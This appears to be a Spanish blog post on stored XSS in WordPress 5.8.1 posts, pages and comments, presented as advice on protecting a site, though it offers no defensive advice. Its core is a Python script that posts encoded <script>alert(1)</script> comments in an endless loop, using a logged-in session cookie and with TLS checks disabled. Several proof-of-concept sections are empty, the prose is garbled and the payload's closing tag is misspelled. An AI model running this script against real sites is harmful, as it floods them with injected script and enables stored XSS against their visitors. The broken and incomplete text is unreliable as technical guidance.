Vulnerabilidad XSS Stored en WordPress 5.8.1: Cómo Proteger tu Sitio Web

He estado analizando la versión más reciente de WordPress, la cual presenta diversas vulnerabilidades. Tras realizar una investigación exhaustiva, a continuación, presento un informe detallado sobre las vulnerabilidades XSS identificadas.


¿Qué es XSS?

El Cross-Site Scripting (XSS) es una vulnerabilidad informática común en aplicaciones web, que permite a un atacante inyectar código JavaScript u otro tipo de código malicioso en páginas web visitadas por los usuarios. Este tipo de ataque puede ser utilizado para ejecutar scripts maliciosos en el navegador del usuario, comprometiendo la seguridad de la aplicación web y la integridad de los datos.

¿Cómo encontrar estas vulnerabilidades?

Aquí tienes un artículo sobre sobre WordPress menciona que lanzará una nueva actualización parchando muchas de sus vulnerabilidades. ​

Link: https://wordpress.org/news/2021/09/wordpress-5-8-1-security-and-maintenance-release/

WordPress: Menciona para diciembre publicar la nueva actualización.

  • Link: https://patchstack.com/wordpress-security-issues-fixed-5-8-1/
  • Link: https://codex.wordpress.org/WordPress_Versions

¿Quién reporto estas vulnerabilidades?

Michał Bentkowski reporto algunas vulnerabilidades.

  • Link: https://twitter.com/SecurityMB/status/1436247108466659334/photo/1

¿Qué tipo de vulnerabilidad son?

Las vulnerabilidades que conozco están en crear un post, página y en los comentarios, esto también están constan que los roles.
Ejemplo de un ataque: El atacante puede estar registrado como editor y puede realizar este de vulnerabilidad llenándolo en su base de datos y también en el sitio.

ROLES:


Prueba de concepto:

Versión de WordPress:

Estoy haciendo la prueba de concepto con 5.8.1

NUEVO POST.

También vamos a realizar estas pruebas en un nuevo POST o nuevo artículo.


Esta vulnerabilidad cualquier persona que ingresar al sitio y puede reflejar esta vulnerabilidad.

NUEVA PÁGINA:

Esta vulnerabilidad puede afectar también al crear una página.


Podemos reflejar otra vez esta vulnerabilidad.
 

Nuevo comentario:

Esta vulnerabilidad se puede reflejar de cualquier usuario que este autorizado, pero también el tipo de roles de WordPress.
Ejemplo: Si un editor realiza un tipo de comentario puede dejar esta vulnerabilidad reflejándose.


 


Se puede reflejar la vulnerabilidad si un usuario lo autoriza de bajo rol.

¿Qué puede hacer un atacante?

Puede generar la base de datos con esta vulnerabilidad con el siguiente código.

  
  
import requests
from colorama import Fore
import urllib3
import time

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

x = 2
while True:
        url = "https://example.com/wordpress/wp-comments-post.php"
        payload = f"comment={x}%3Cscript%3Ealert%281%29%3C%2Fscrip%3E&submit=Post+Comment&comment_post_ID=1&comment_parent=0&_wp_unfiltered_html_comment=ec631af52a"
        headers = {
        'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0',
        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
        'Accept-Language': 'en-US,en;q=0.5',
        'Content-Type': 'application/x-www-form-urlencoded',
        'Origin': 'https://example.com',
        'DNT': '1',
        'Connection': 'keep-alive',
        'Referer': 'https://example.com/wordpress/?p=1',
        'Cookie': 'wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_d3da788485a4c44d8e6f3d5d923ecd9d=freddy%7C1635229788%7CRsx33pcrz88XSaSBZ15fBp6QDKGkvtMcuymuSZx5TEm%7Cc735b522901f9e9c588ca07c0fc63a778536d6581e8de9531171a8578d96c343; wp-settings-time-2=1635054802',
        'Upgrade-Insecure-Requests': '1',
        'TE': 'Trailers'
        }

        response = requests.request("POST", url, headers=headers, data=payload, allow_redirects=False, verify=False)

        print(Fore.RED + '\n[+]')

        print(response.text)
        print(x)
        x += 1
        time.sleep(2)


Una captura del código:

Actualmente, podemos identificar varias vulnerabilidades en WordPress, las cuales esperamos sean solucionadas en la próxima actualización programada para diciembre. Agradecemos tu atención y no olvides compartir esta información.
Artículo Anterior Artículo Siguiente